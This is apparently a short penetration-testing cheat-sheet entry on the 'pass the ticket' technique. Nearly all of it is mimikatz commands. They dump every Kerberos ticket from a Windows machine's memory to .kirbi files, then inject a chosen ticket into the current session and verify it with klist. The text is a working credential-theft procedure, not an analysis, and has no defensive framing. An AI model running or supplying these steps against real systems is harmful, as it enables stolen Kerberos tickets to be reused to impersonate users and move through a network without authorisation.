Pass the Ticket

Export all tickets on the machine using mimikatz

privilege::debug
sekurlsa::tickets /export
exit

dir *.kirbi

Back in mimikatz pass the ticket using the tickets name

kerberos::ptt [0;12bd0][email protected]

klist